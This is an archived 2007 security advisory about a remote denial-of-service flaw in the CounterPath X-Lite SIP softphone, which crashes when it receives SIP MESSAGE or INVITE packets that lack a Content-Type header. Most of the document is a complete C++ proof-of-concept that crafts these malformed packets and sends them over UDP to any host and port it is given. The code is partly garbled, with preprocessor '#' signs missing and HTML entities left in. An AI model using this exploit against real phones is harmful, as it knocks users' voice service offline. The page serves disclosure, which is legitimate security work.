CounterPath X-Lite SIP phone Remote Denial of Service vulnerability

2007-08-14T00:00:00
ID SECURITYVULNS:DOC:17782
Type securityvulns
Reporter Securityvulns
Modified 2007-08-14T00:00:00

Description

Title

CounterPath X-Lite SIP phone Remote Denial of Service vulnerability

Date

10 August 2007

Affected Software

X-Lite versions 3.x (tested on 3.0 34025) Maybe eyeBeam also ;)

Overview

X-Lite by CounterPath Solutions, Inc. is a free and wild used SIP based softphone. More information about X-Lite

can be found here: www.counterpath.com A message validation check flaw in X-Lite SIP phone implementation may allow a remote attacker to crash the phone

causing denial of service.

Vulnerability Description

The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of

INVITE or MESSAGE will be ok. MESSAGE is a sip method for Instant Messaging. After X-Lite receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability",

it will be crash.

Solution

Not really.

Credit

This vulnerability was discovered by Zwell. http://www.nosec.org

PoC

/*main.cpp**/

include <stdio.h>

include <string>

using namespace std;

ifdef WIN32

include <winsock2.h>

pragma comment(lib, "ws2_32.lib")

define close closesocket

define write(a,b,c) send(a, b, c, 0)

define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)

define read(a,b,c) recv(a, b, c, 0)

define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)

else

include <sys/socket.h>

include <netinet/in.h>

include <netinet/tcp.h>

include <netdb.h>

include <arpa/inet.h>

define closesocket close

define SOCKET int

define DWORD unsigned long

endif

char *craft_pkt[] = { "MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n" "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n" "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n" "To: <sip:[TOADDR]>\r\n" "Call-ID: [CALLID]@[DOMAIN]\r\n" "CSeq: [CSEQ] MESSAGE\r\n" "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n" "Content-Length: 0\r\n\r\n",

    &quot;INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0&#92;r&#92;n&quot;
    &quot;Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]&#92;r&#92;n&quot;
    &quot;To: &lt;sip:[TOADDR]&gt;&#92;r&#92;n&quot;
    &quot;From: [FROMUSER] &lt;sip:[FROMADDR]:[LOCALPORT]&gt;;tag=[TAG]&#92;r&#92;n&quot;
    &quot;Call-ID: [CALLID]@[DOMAIN]&#92;r&#92;n&quot;
    &quot;CSeq: [CSEQ] INVITE&#92;r&#92;n&quot;
    &quot;Contact: &lt;sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]&gt;&#92;r&#92;n&quot;
    &quot;Content-Length: 0&#92;r&#92;n&#92;r&#92;n&quot;,

};

void socket_init() {

ifdef WIN32

    WSADATA wsaData;
    WSAStartup&#40;MAKEWORD&#40;2,0&#41;, &amp;wsaData&#41;;

endif

}

unsigned long resolv(const char host) { struct hostent hp; unsigned long host_ip;

    host_ip = inet_addr&#40;host&#41;;
    if&#40; host_ip == INADDR_NONE &#41;
    {
            hp = gethostbyname&#40;host&#41;;
            if&#40;!hp&#41;
            {
                    printf&#40;&quot;&#92;nError: Unable to resolve hostname &#40;&#37;s&#41;&#92;n&quot;,host&#41;;
                    exit&#40;1&#41;;
            }
            else
                    host_ip = *&#40;u_long*&#41;hp-&gt;h_addr ;
    }

    return&#40;host_ip&#41;;

}

SOCKET udpsocket() { / network / SOCKET sockfd; struct sockaddr_in laddr, raddr;

    sockfd = socket&#40;AF_INET, SOCK_DGRAM, 0&#41;;
    if &#40;sockfd == -1&#41;
            goto error;

    memset&#40;&#40;char *&#41; &amp;laddr, 0, sizeof&#40;laddr&#41;&#41;;
    laddr.sin_family = AF_INET;
    laddr.sin_addr.s_addr = htonl&#40;INADDR_ANY&#41;;
    if &#40;bind&#40;sockfd, &#40;struct sockaddr *&#41; &amp;laddr, sizeof&#40;laddr&#41;&#41; == -1&#41;
            goto error;

    return sockfd;

error:

ifdef WIN32

    printf&#40;&quot;Error:&#37;d&#92;n&quot;, GetLastError&#40;&#41;&#41;;

endif

    return 0;

}

string &replace_all(string &str,const string& old_value,const string& new_value)
{
while(true)
{
string::size_type pos(0);
if( (pos=str.find(old_value))!=string::npos)
str.replace(pos,old_value.length(),new_value);
else break;
}
return str;
}

string &replace_with_rand(string &str, char value, int len) { char strspace = "0123456789"; char randstr[100]; for(int i=0; i<len; i++) { do { randstr[i] = strspace[rand()%strlen(strspace)]; }while(randstr[i] == '0'); } randstr[len] = 0; replace_all(str, value, randstr); return str; }

string build_packet(string _packet, char addr, char host) { string packet = _packet; replace_all(packet, "[FROMADDR]", addr); replace_all(packet, "[TOADDR]", host); replace_all(packet, "[DOMAIN]", "www.nosec.org"); replace_all(packet, "[FROMUSER]", "siprint"); replace_with_rand(packet, "[CSEQ]", 9); replace_with_rand(packet, "[CALLID]", 9); replace_with_rand(packet, "[TAG]", 9); replace_with_rand(packet, "[BRANCH]", 9); return packet; }

int main(int argc, char argv) { char host; int port; char localip; struct sockaddr_in sockaddr; struct sockaddr_in raddr; int sockaddrlen = sizeof(sockaddr); SOCKET s;

    printf&#40;&quot;X-Lite Missing Content-Type DOS PoC&#92;n&quot;&#41;;

    if&#40;argc != 4&#41;
    {
            printf&#40;&quot;usage : &#37;s &lt;host&gt; &lt;port&gt; &lt;localip&gt;&#92;n&quot;, argv[0]&#41;;
            exit&#40;-1&#41;;
    }

    host = argv[1];
    port = atoi&#40;argv[2]&#41;;
    localip = argv[3];

    socket_init&#40;&#41;;
    s = udpsocket&#40;&#41;;
    if&#40;s == 0&#41;
    {
            printf&#40;&quot;Create udp socket error!&#92;n&quot;, host, port&#41;;
            return 1;
    }
    memset&#40;&amp;sockaddr, 0, sockaddrlen&#41;;
    getsockname&#40;s, &#40;struct sockaddr *&#41; &amp;sockaddr, &#40;int *&#41; &amp;sockaddrlen&#41;;

    raddr.sin_family = AF_INET;
    raddr.sin_addr.S_un.S_addr = resolv&#40;host&#41;;
    raddr.sin_port = htons&#40;port&#41;;
    for&#40;int i=0; i&lt;20; i++&#41;
    {
            char portstr[6] = {&#39;&#92;0&#39;};
            string packet = build_packet&#40;craft_pkt[i&#37;2], localip, host&#41;;
            sprintf&#40;portstr, &quot;&#37;d&quot;, ntohs&#40;sockaddr.sin_port&#41;&#41;;
            replace_all&#40;packet, &quot;[LOCALPORT]&quot;, portstr&#41;;
            //printf&#40;&quot;===========&#92;n&#37;s&#92;n===========&#92;n&quot;, packet.c_str&#40;&#41;&#41;;
            writeto&#40;s, packet.c_str&#40;&#41;, packet.length&#40;&#41;, &#40;struct sockaddr*&#41;&amp;raddr, sockaddrlen&#41;;
            Sleep&#40;100&#41;;
    }

    return 0;

}